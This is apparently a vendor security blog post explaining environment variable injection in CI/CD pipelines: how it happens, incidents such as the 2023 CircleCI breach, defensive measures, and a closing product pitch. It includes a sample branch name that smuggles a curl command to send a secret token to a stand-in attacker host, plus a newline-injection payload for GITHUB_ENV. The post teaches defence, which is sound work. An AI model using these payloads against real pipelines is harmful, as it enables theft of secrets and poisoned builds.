CI/CD pipelines run on environment variables. Secrets, configuration, build parameters, branch names, commit messages -- they all flow through environment variables. When an attacker can inject or modify these variables, they can steal secrets, alter build behavior, or poison artifacts.
This attack surface is growing because CI/CD systems are becoming more complex, with more integrations, more plugins, and more data flowing through environment variables from untrusted sources.
How Environment Variable Injection Works
Through Commit Messages and Branch Names
Most CI/CD systems expose Git metadata as environment variables. The branch name becomes $BRANCH_NAME or $GITHUB_REF. The commit message becomes $COMMIT_MESSAGE or similar. The pull request title and body are also commonly available.
If a pipeline script uses these variables without sanitization, an attacker can inject commands by crafting a branch name or commit message containing shell metacharacters.
Consider a pipeline step like:
echo "Building branch $BRANCH_NAME"
If the branch name is main; curl attacker.com/steal?token=$SECRET_TOKEN, the shell executes both commands. The attacker receives the secret token.
Through Pull Request Labels and Descriptions
Some CI/CD systems pass pull request metadata as environment variables. An attacker who can create or modify pull requests (which includes any contributor in open-source projects) can inject values through PR titles, descriptions, or labels.
Through Dependency Resolution
Build scripts often use environment variables to configure dependency resolution. Variables like NPM_REGISTRY, PIP_INDEX_URL, or MAVEN_REPO control where packages are downloaded from. If an attacker can set these variables (through workflow configuration or environment file injection), they can redirect dependency downloads to a malicious registry.
Through Environment Files
GitHub Actions supports .env files and the $GITHUB_ENV mechanism for setting environment variables across steps. If a step writes to $GITHUB_ENV based on untrusted input, subsequent steps inherit the injected variables.
# Vulnerable: untrusted input written to GITHUB_ENV
echo "PACKAGE_NAME=${{ github.event.inputs.package }}" >> $GITHUB_ENV
An attacker can inject a newline and additional variable assignments:
legitimate-package
SECRET_OVERRIDE=malicious-value
Real-World Examples
GitHub Actions set-output injection. The deprecated ::set-output command in GitHub Actions was vulnerable to injection through values containing newline characters. An attacker could set arbitrary output variables that downstream steps consumed as trusted configuration.
CircleCI environment variable exposure. The 2023 CircleCI security incident involved unauthorized access to customer environment variables, including secrets stored in project settings. This demonstrated that the CI/CD platform itself is a high-value target for accessing environment variables.
Jenkins environment variable leakage. Jenkins plugins have had numerous vulnerabilities where environment variables (including credentials) were logged to build output, stored in build metadata, or accessible through the Jenkins API.
Defensive Measures
Never interpolate untrusted data in shell commands. Use parameterized commands or pipe input through stdin instead of string interpolation. In GitHub Actions, use ${{ }} expressions in with: blocks rather than in run: blocks where shell interpolation occurs.
Sanitize Git metadata. Strip or encode special characters from branch names, commit messages, and PR descriptions before using them in scripts. Better yet, do not use them in shell commands at all.
Restrict environment variable scope. Limit secret environment variables to the specific steps that need them. GitHub Actions supports per-step environment variable scoping with the env: key.
Use OIDC tokens instead of long-lived secrets. Modern CI/CD platforms support OIDC token exchange for cloud provider authentication. This eliminates the need for storing cloud credentials as environment variables.
Audit environment variable usage. Regularly review your pipeline definitions for patterns where untrusted input flows into environment variables or shell commands. Automated scanning tools like Semgrep can detect common injection patterns in workflow files.
Monitor for unauthorized variable access. Log and alert on access to secret environment variables. If a step that should not need a particular secret accesses it, investigate.
How Safeguard.sh Helps
Safeguard.sh provides visibility into your CI/CD pipeline security posture. Our platform analyzes pipeline configurations for common injection vulnerabilities, monitors dependency resolution to detect registry redirection attacks, and tracks the security of CI/CD plugins and actions in your workflow. When combined with our SBOM generation, you get assurance that your build pipeline produces artifacts from known, verified components.